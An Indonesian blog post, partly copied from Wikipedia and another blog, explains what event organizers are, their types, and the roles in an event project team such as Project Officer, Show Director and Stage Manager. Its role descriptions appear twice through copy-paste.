Show Director adalah yang bertanggungjawab terhadap kualitas sajian acara, baik dari segi artistik maupun kenyamanan audiens. Biasanya Show Director akan memiliki tim yang terdiri dari Art Director, Stage Manager, Sound Engineer, Lightingman, Security & Runner

Art Director

Bertanggungjawab terhadap permasalahan artistik, seperti tampilan panggung, dekorasi, dan efek – efek lainnya yang berhubungan dengan estetika.

Stage Manager

Bertanggungjawab terhadap kelancaran acara. Stage Manager akan mengatur kemunculan talents sesuai rundown dan mengendalikan waktu tampil.

Sound Engineer/Soundman

Bertanggungjawab terhadap kontrol kualitas sound system.

Lightingman

Bertanggungjawab terhadap kontrol kualitas lighting.

Security

Adalah personil dari kepolisian atau mereka yang ditugaskan. Bertanggungjawab terhadap seluruh keamanan acara dari mulai lokasi, jalannya acara, dan pihak lain – lain yang terkait.

Runner

Adalah tim yang terdiri dari beberapa orang, yang bertugas serabutan, menjadi penghubung antara Show Director dengan pihak – pihak lainnya.

Client Service

Bertanggungjawab sebagai penghubung antara klien sebagai sponsor/penyandang dana kepada Show Director dan Project officer. Client Service ini akan menemani klien dari sejak klien tersebut hadir di arena event hingga pulang dengan kepuasan.

Contoh – contoh diatas adalah beberapa fungsi yang biasanya ada dalam sebuah event. Tetapi, bisa terjadi dalam sebuah event ada fungsi – fungsi diatas yang justru dihilangkan karena pekerjaan dapat di-handle oleh fungsi lainnya. Dan juga tentunya masih ada beberapa fungsi lain yang mungkin dibutuhkan dalam sebuah penyelenggaraan event, diantaranya seperti :

Officer Lomba yang bertugas menangani jalannya perlombaan

* Liaison Officer yang bertugas mendampingi tamu/artis
* Crew Multimedia yang bertugas melakukan kontrol kualitas sajian media
* Tim Dokumentasi, PR, Usher, dll

Sangat menarik sekali struktur organisasi sebuah penyelenggaraan event, saya pun sedang mendalaminya :D - See more at: http://yog-a.blogspot.com/2010/07/event-organizer-eo.html#sthash.uPkZ6FlV.dpuf
Event organizer adalah istilah untuk penyedia jasa profesional penyelenggara acara. Meski bisa dialih bahasakan, namun umumnya istilah aslinya tetap dipergunakan. Atau untuk mudahnya disebut EO.
Pada dasarnya, tugas dari EO. adalah
membantu kliennya (client) untuk dapat menyelenggarakan acara yang diinginkan. Bisa jadi hal ini karena keterbatasan sumber daya atau waktu yang dimiliki klien, namun penggunaan jasa EO. juga dimungkinkan dengan alasan agar penyelenggaraannya profesional sehingga hasilnya lebih bagus daripada bila dikerjakan sendiri.

Jenis-jenis EO:

Dilihat dari jenis acara yang diadakan, E.O. dapat dikategorikan menjadi:

* One Stop Service Agency: E.O. besar yang mampu menyelenggarakan berbagai jenis acara hingga skala internasional sekalipun.
* MICE : Kependekan dari Meeting, Incentive, Convention, Exhibition). E.O. yang khusus bergerak di bidang penyelenggaraan acara berbentuk pertemuan.
* Musik dan Hiburan: E.O. yang memiliki spesialisasi di bidang hiburan terutama musik.
* Penyelenggara Pernikahan: E.O. yang mengkhususkan diri membantu klien mengadakan pesta pernikahan.
* Penyelenggara Ulang Tahun: E.O. yang ahli membuat pesta ulang tahun termasuk untuk anak-anak.
* Penyelenggara Pribadi: E.O. khusus yang bergerak untuk penyelenggaraan pesta pribadi terutama bagi orang kaya.

From Wikipedia

Struktur Organisasi Sebuah Event Organizer

Event Organizer (EO) merupakan organisasi yang didalamnya terdapat sekumpulan orang yang memiliki fungsi menyelenggarakan dan melaksanakan sebuah acara dengan fungsi dan peran masing – masing dari perencanaan hingga acara berakhir.

Di dalam meraih kelancaran dan kesuksesan sebuah acara yang ditangani, EO harus memiliki orang – orang yang mampu menjalankan fungsi dalam bagian – bagian kerja sebuah organisasi tersebut.

Ketika berbicara EO sebagai sebuah perusahaan, maka susunan organisasi perusahaan tidaklah berbeda dengan institusi bisnis lainnya seperti terdiri dari Direktur, Manager – Manager yang membawahi masing – masing divisi seperti, marketing, administrasi, keuangan, operasional, produksi dan lain sebagainya. Namun ketika berbicara EO dalam sebuah project penyelenngara event, maka struktur organisasi akan menyesuaikan dengan kebutuhan project tersebut.

Antara satu event dengan event lainnya akan memiliki struktur organisasi yang berbeda. event Exhibition yang diselenggarakan di sebuah Mall atau Hotel berbintang akan memiliki tim yang berbeda dengan event Exhibition yang digelar di Lapangan. Demikian pula dengan sebuah Konser Musik. Perbedaan ini diadasari pada beberapa hal berikut :

1. Kebutuhan tim dalam menjalankan fungsi kerja
2. Efektifitas dan Efisiensi kerja
3. Besar kecilnya event

Sebagai usaha yang berorientasi pada keuntungan, EO akan menghitung jumlah personil dalam tim secara cermat dan teliti. Tidak ada jaminan kesuksesan sebuah event yang terdiri dari banyak orang.

Beberapa contoh fungsi yang biasanya ada dalam sebuah project event diantaranya:

Project Officer / Event Manager

Adalah pemimpin proyek. Bertanggungjawab terhadap kelancaran dan kesuksesan event. Mulai dari perencanaan hingga event selesai. Fungsi ini biasanya lebih mengurusi masalah – masalah administratif dan persiapan – persiapan kelengkapan, tentunya harus diambil orang yang memang sudah berpengalaman atau memang sudah diandalkan menangani berbagai event. Dalam kerjanya Project Officer ini bisa memiliki beberapa anak buah yang akan membantu menangani persiapan venue, promosi, perijinan & keamanan, konsumsi, pengadaan perlengkapan, keuangan, kesekretariatan, dan sebagainya yang biasa disebut Field Officer.

Field Officer

Adalah fungsi yang menangani persiapan venue, promosi, perijinan & keamanan, konsumsi, pengadaan perlengkapan, keuangan, kesekretariatan dan sebagainya. Dengan kata lain fungsi ini adalah yang menjalankan fungsi operasional.

Tallent Officer

Menangani pekerjaan yang berhubungan dengan talents/artis/pengisi acara, mulai dari negosiasi waktu, honor, membuat MOU sampai pada kebutuhan artis saat pentas, transportasi, konsumsi, akomodasi dan lain – lainnya

Show Director

Show Director adalah yang bertanggungjawab terhadap kualitas sajian acara, baik dari segi artistik maupun kenyamanan audiens. Biasanya Show Director akan memiliki tim yang terdiri dari Art Director, Stage Manager, Sound Engineer, Lightingman, Security & Runner

Art Director

Bertanggungjawab terhadap permasalahan artistik, seperti tampilan panggung, dekorasi, dan efek – efek lainnya yang berhubungan dengan estetika.

Stage Manager

Bertanggungjawab terhadap kelancaran acara. Stage Manager akan mengatur kemunculan talents sesuai rundown dan mengendalikan waktu tampil.

Sound Engineer/Soundman

Bertanggungjawab terhadap kontrol kualitas sound system.

Lightingman

Bertanggungjawab terhadap kontrol kualitas lighting.

Security

Adalah personil dari kepolisian atau mereka yang ditugaskan. Bertanggungjawab terhadap seluruh keamanan acara dari mulai lokasi, jalannya acara, dan pihak lain – lain yang terkait.

Runner

Adalah tim yang terdiri dari beberapa orang, yang bertugas serabutan, menjadi penghubung antara Show Director dengan pihak – pihak lainnya.

Client Service

Bertanggungjawab sebagai penghubung antara klien sebagai sponsor/penyandang dana kepada Show Director dan Project officer. Client Service ini akan menemani klien dari sejak klien tersebut hadir di arena event hingga pulang dengan kepuasan.

Contoh – contoh diatas adalah beberapa fungsi yang biasanya ada dalam sebuah event. Tetapi, bisa terjadi dalam sebuah event ada fungsi – fungsi diatas yang justru dihilangkan karena pekerjaan dapat di-handle oleh fungsi lainnya. Dan juga tentunya masih ada beberapa fungsi lain yang mungkin dibutuhkan dalam sebuah penyelenggaraan event, diantaranya seperti :

Officer Lomba yang bertugas menangani jalannya perlombaan

* Liaison Officer yang bertugas mendampingi tamu/artis
* Crew Multimedia yang bertugas melakukan kontrol kualitas sajian media
* Tim Dokumentasi, PR, Usher, dll

Sangat menarik sekali struktur organisasi sebuah penyelenggaraan event, saya pun sedang mendalaminya :D - See more at: http://yog-a.blogspot.com/2010/07/event-organizer-eo.html#sthash.uPkZ6FlV.dpuf


bebas bayar, pembayaran mudah dan cepat, transaksi online, pembayaran tagihan dan tiket, transfer dana online
Back To Top